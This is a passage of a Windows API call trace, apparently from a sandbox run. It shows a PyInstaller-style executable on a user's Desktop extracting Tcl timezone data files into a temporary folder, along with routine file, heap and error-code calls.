lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.099] CloseHandle (hObject=0x10c) returned 1 [0043.099] GetLastError () returned 0x0 [0043.099] SetLastError (dwErrCode=0x0) [0043.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Easter") returned 71 [0043.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Easter" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\easter"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.099] GetLastError () returned 0x2 [0043.099] SetLastError (dwErrCode=0x2) [0043.099] GetLastError () returned 0x2 [0043.099] SetLastError (dwErrCode=0x2) [0043.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Easter", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Easter", lpFilePart=0x0) returned 0x46 [0043.099] GetLastError () returned 0x2 [0043.099] SetLastError (dwErrCode=0x2) [0043.099] GetLastError () returned 0x2 [0043.099] SetLastError (dwErrCode=0x2) [0043.099] GetLastError () returned 0x2 [0043.099] SetLastError (dwErrCode=0x2) [0043.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Easter") returned 71 [0043.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Easter" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\easter"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.100] GetFileType (hFile=0x10c) returned 0x1 [0043.100] htonl (hostlong=0x65210000) returned 0x2165 [0043.100] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0043.101] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.101] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x165, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x165, lpOverlapped=0x0) returned 1 [0043.102] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.102] CloseHandle (hObject=0x10c) returned 1 [0043.102] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.102] htonl (hostlong=0x30000000) returned 0x30 [0043.102] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.102] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.103] GetFileType (hFile=0x10c) returned 0x1 [0043.103] htonl (hostlong=0xf40c5d00) returned 0x5d0cf4 [0043.103] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61bcf4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.103] htonl (hostlong=0xa010000) returned 0x10a [0043.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10a) returned 0x550600 [0043.103] htonl (hostlong=0xa010000) returned 0x10a [0043.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.104] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.104] htonl (hostlong=0xcb020000) returned 0x2cb [0043.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2cb) returned 0x550718 [0043.104] htonl (hostlong=0xa010000) returned 0x10a [0043.104] htonl (hostlong=0xcb020000) returned 0x2cb [0043.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.104] CloseHandle (hObject=0x10c) returned 1 [0043.104] GetLastError () returned 0x0 [0043.104] SetLastError (dwErrCode=0x0) [0043.104] GetLastError () returned 0x0 [0043.104] SetLastError (dwErrCode=0x0) [0043.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.104] GetFileType (hFile=0x10c) returned 0x1 [0043.104] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.104] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.105] CloseHandle (hObject=0x10c) returned 1 [0043.105] GetLastError () returned 0x0 [0043.105] SetLastError (dwErrCode=0x0) [0043.105] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.105] GetFileType (hFile=0x10c) returned 0x1 [0043.105] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.105] CloseHandle (hObject=0x10c) returned 1 [0043.105] GetLastError () returned 0x0 [0043.105] SetLastError (dwErrCode=0x0) [0043.105] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.105] GetFileType (hFile=0x10c) returned 0x1 [0043.105] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.106] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.106] CloseHandle (hObject=0x10c) returned 1 [0043.106] GetLastError () returned 0x0 [0043.106] SetLastError (dwErrCode=0x0) [0043.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Efate") returned 70 [0043.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Efate" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\efate"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.106] GetLastError () returned 0x2 [0043.106] SetLastError (dwErrCode=0x2) [0043.106] GetLastError () returned 0x2 [0043.106] SetLastError (dwErrCode=0x2) [0043.106] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Efate", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Efate", lpFilePart=0x0) returned 0x45 [0043.106] GetLastError () returned 0x2 [0043.106] SetLastError (dwErrCode=0x2) [0043.106] GetLastError () returned 0x2 [0043.106] SetLastError (dwErrCode=0x2) [0043.107] GetLastError () returned 0x2 [0043.107] SetLastError (dwErrCode=0x2) [0043.107] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Efate") returned 70 [0043.107] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Efate" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\efate"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.107] GetFileType (hFile=0x10c) returned 0x1 [0043.107] htonl (hostlong=0xcb020000) returned 0x2cb [0043.107] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.107] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2cb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x2cb, lpOverlapped=0x0) returned 1 [0043.108] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.108] CloseHandle (hObject=0x10c) returned 1 [0043.108] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550718 | out: hHeap=0x530000) returned 1 [0043.108] htonl (hostlong=0x30000000) returned 0x30 [0043.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.109] GetFileType (hFile=0x10c) returned 0x1 [0043.109] htonl (hostlong=0xfe0d5d00) returned 0x5d0dfe [0043.109] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61bdfe, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.109] htonl (hostlong=0xa6000000) returned 0xa6 [0043.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa6) returned 0x544a40 [0043.109] htonl (hostlong=0xa6000000) returned 0xa6 [0043.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.109] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.109] htonl (hostlong=0xd3000000) returned 0xd3 [0043.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd3) returned 0x550600 [0043.109] htonl (hostlong=0xa6000000) returned 0xa6 [0043.109] htonl (hostlong=0xd3000000) returned 0xd3 [0043.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544a40 | out: hHeap=0x530000) returned 1 [0043.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.109] CloseHandle (hObject=0x10c) returned 1 [0043.109] GetLastError () returned 0x0 [0043.109] SetLastError (dwErrCode=0x0) [0043.109] GetLastError () returned 0x0 [0043.109] SetLastError (dwErrCode=0x0) [0043.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.109] GetFileType (hFile=0x10c) returned 0x1 [0043.109] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.109] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.110] CloseHandle (hObject=0x10c) returned 1 [0043.110] GetLastError () returned 0x0 [0043.110] SetLastError (dwErrCode=0x0) [0043.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.110] GetFileType (hFile=0x10c) returned 0x1 [0043.110] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.110] CloseHandle (hObject=0x10c) returned 1 [0043.110] GetLastError () returned 0x0 [0043.110] SetLastError (dwErrCode=0x0) [0043.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.111] GetFileType (hFile=0x10c) returned 0x1 [0043.111] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.111] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.111] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.111] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.111] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.111] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.111] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.111] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.111] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.111] CloseHandle (hObject=0x10c) returned 1 [0043.111] GetLastError () returned 